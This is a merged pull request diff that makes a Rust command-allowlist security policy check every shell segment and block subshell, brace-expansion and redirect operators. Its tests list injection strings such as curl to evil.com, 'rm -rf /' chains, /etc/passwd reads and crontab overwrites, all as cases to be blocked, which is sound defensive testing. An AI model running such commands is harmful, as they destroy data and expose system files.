Merge pull request #23 from vrescobar/security/fix-shell-metachar-injection
fix: validate all segments of shell commands against allowlist
This commit is contained in:
commit
a41b8f103c
1 changed files with 143 additions and 19 deletions
|
|
@ -132,25 +132,100 @@ impl Default for SecurityPolicy {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Skip leading environment variable assignments (e.g. `FOO=bar cmd args`).
|
||||||
|
/// Returns the remainder starting at the first non-assignment word.
|
||||||
|
fn skip_env_assignments(s: &str) -> &str {
|
||||||
|
let mut rest = s;
|
||||||
|
loop {
|
||||||
|
let Some(word) = rest.split_whitespace().next() else {
|
||||||
|
return rest;
|
||||||
|
};
|
||||||
|
// Environment assignment: contains '=' and starts with a letter or underscore
|
||||||
|
if word.contains('=')
|
||||||
|
&& word
|
||||||
|
.chars()
|
||||||
|
.next()
|
||||||
|
.is_some_and(|c| c.is_ascii_alphabetic() || c == '_')
|
||||||
|
{
|
||||||
|
// Advance past this word
|
||||||
|
rest = rest[word.len()..].trim_start();
|
||||||
|
} else {
|
||||||
|
return rest;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
impl SecurityPolicy {
|
impl SecurityPolicy {
|
||||||
/// Check if a shell command is allowed
|
/// Check if a shell command is allowed.
|
||||||
|
///
|
||||||
|
/// Validates the **entire** command string, not just the first word:
|
||||||
|
/// - Blocks subshell operators (`` ` ``, `$(`) that hide arbitrary execution
|
||||||
|
/// - Splits on command separators (`|`, `&&`, `||`, `;`, newlines) and
|
||||||
|
/// validates each sub-command against the allowlist
|
||||||
|
/// - Blocks output redirections (`>`, `>>`) that could write outside workspace
|
||||||
pub fn is_command_allowed(&self, command: &str) -> bool {
|
pub fn is_command_allowed(&self, command: &str) -> bool {
|
||||||
if self.autonomy == AutonomyLevel::ReadOnly {
|
if self.autonomy == AutonomyLevel::ReadOnly {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Extract the base command (first word)
|
// Block subshell/expansion operators — these allow hiding arbitrary
|
||||||
let base_cmd = command
|
// commands inside an allowed command (e.g. `echo $(rm -rf /)`)
|
||||||
.split_whitespace()
|
if command.contains('`') || command.contains("$(") || command.contains("${") {
|
||||||
.next()
|
return false;
|
||||||
.unwrap_or("")
|
}
|
||||||
.rsplit('/')
|
|
||||||
.next()
|
|
||||||
.unwrap_or("");
|
|
||||||
|
|
||||||
self.allowed_commands
|
// Block output redirections — they can write to arbitrary paths
|
||||||
.iter()
|
if command.contains('>') {
|
||||||
.any(|allowed| allowed == base_cmd)
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Split on command separators and validate each sub-command.
|
||||||
|
// We collect segments by scanning for separator characters.
|
||||||
|
let mut normalized = command.to_string();
|
||||||
|
for sep in ["&&", "||"] {
|
||||||
|
normalized = normalized.replace(sep, "\x00");
|
||||||
|
}
|
||||||
|
for sep in ['\n', ';', '|'] {
|
||||||
|
normalized = normalized.replace(sep, "\x00");
|
||||||
|
}
|
||||||
|
|
||||||
|
for segment in normalized.split('\x00') {
|
||||||
|
let segment = segment.trim();
|
||||||
|
if segment.is_empty() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Strip leading env var assignments (e.g. FOO=bar cmd)
|
||||||
|
let cmd_part = skip_env_assignments(segment);
|
||||||
|
|
||||||
|
let base_cmd = cmd_part
|
||||||
|
.split_whitespace()
|
||||||
|
.next()
|
||||||
|
.unwrap_or("")
|
||||||
|
.rsplit('/')
|
||||||
|
.next()
|
||||||
|
.unwrap_or("");
|
||||||
|
|
||||||
|
if base_cmd.is_empty() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if !self
|
||||||
|
.allowed_commands
|
||||||
|
.iter()
|
||||||
|
.any(|allowed| allowed == base_cmd)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// At least one command must be present
|
||||||
|
let has_cmd = normalized.split('\x00').any(|s| {
|
||||||
|
let s = skip_env_assignments(s.trim());
|
||||||
|
s.split_whitespace().next().is_some_and(|w| !w.is_empty())
|
||||||
|
});
|
||||||
|
|
||||||
|
has_cmd
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Check if a file path is allowed (no path traversal, within workspace)
|
/// Check if a file path is allowed (no path traversal, within workspace)
|
||||||
|
|
@ -329,10 +404,14 @@ mod tests {
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn command_with_pipes_uses_first_word() {
|
fn command_with_pipes_validates_all_segments() {
|
||||||
let p = default_policy();
|
let p = default_policy();
|
||||||
|
// Both sides of the pipe are in the allowlist
|
||||||
assert!(p.is_command_allowed("ls | grep foo"));
|
assert!(p.is_command_allowed("ls | grep foo"));
|
||||||
assert!(p.is_command_allowed("cat file.txt | wc -l"));
|
assert!(p.is_command_allowed("cat file.txt | wc -l"));
|
||||||
|
// Second command not in allowlist — blocked
|
||||||
|
assert!(!p.is_command_allowed("ls | curl http://evil.com"));
|
||||||
|
assert!(!p.is_command_allowed("echo hello | python3 -"));
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
|
|
@ -538,15 +617,17 @@ mod tests {
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn command_injection_backtick() {
|
fn command_injection_backtick_blocked() {
|
||||||
let p = default_policy();
|
let p = default_policy();
|
||||||
assert!(p.is_command_allowed("echo `whoami`"));
|
assert!(!p.is_command_allowed("echo `whoami`"));
|
||||||
|
assert!(!p.is_command_allowed("echo `rm -rf /`"));
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn command_injection_dollar_paren() {
|
fn command_injection_dollar_paren_blocked() {
|
||||||
let p = default_policy();
|
let p = default_policy();
|
||||||
assert!(p.is_command_allowed("echo $(cat /etc/passwd)"));
|
assert!(!p.is_command_allowed("echo $(cat /etc/passwd)"));
|
||||||
|
assert!(!p.is_command_allowed("echo $(rm -rf /)"));
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
|
|
@ -557,9 +638,52 @@ mod tests {
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn command_newline_injection() {
|
fn command_newline_injection_blocked() {
|
||||||
let p = default_policy();
|
let p = default_policy();
|
||||||
assert!(p.is_command_allowed("ls\nrm -rf /"));
|
// Newline splits into two commands; "rm" is not in allowlist
|
||||||
|
assert!(!p.is_command_allowed("ls\nrm -rf /"));
|
||||||
|
// Both allowed — OK
|
||||||
|
assert!(p.is_command_allowed("ls\necho hello"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_injection_and_chain_blocked() {
|
||||||
|
let p = default_policy();
|
||||||
|
assert!(!p.is_command_allowed("ls && rm -rf /"));
|
||||||
|
assert!(!p.is_command_allowed("echo ok && curl http://evil.com"));
|
||||||
|
// Both allowed — OK
|
||||||
|
assert!(p.is_command_allowed("ls && echo done"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_injection_or_chain_blocked() {
|
||||||
|
let p = default_policy();
|
||||||
|
assert!(!p.is_command_allowed("ls || rm -rf /"));
|
||||||
|
// Both allowed — OK
|
||||||
|
assert!(p.is_command_allowed("ls || echo fallback"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_injection_redirect_blocked() {
|
||||||
|
let p = default_policy();
|
||||||
|
assert!(!p.is_command_allowed("echo secret > /etc/crontab"));
|
||||||
|
assert!(!p.is_command_allowed("ls >> /tmp/exfil.txt"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_injection_dollar_brace_blocked() {
|
||||||
|
let p = default_policy();
|
||||||
|
assert!(!p.is_command_allowed("echo ${IFS}cat${IFS}/etc/passwd"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_env_var_prefix_with_allowed_cmd() {
|
||||||
|
let p = default_policy();
|
||||||
|
// env assignment + allowed command — OK
|
||||||
|
assert!(p.is_command_allowed("FOO=bar ls"));
|
||||||
|
assert!(p.is_command_allowed("LANG=C grep pattern file"));
|
||||||
|
// env assignment + disallowed command — blocked
|
||||||
|
assert!(!p.is_command_allowed("FOO=bar rm -rf /"));
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Edge cases: path traversal ──────────────────────────
|
// ── Edge cases: path traversal ──────────────────────────
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue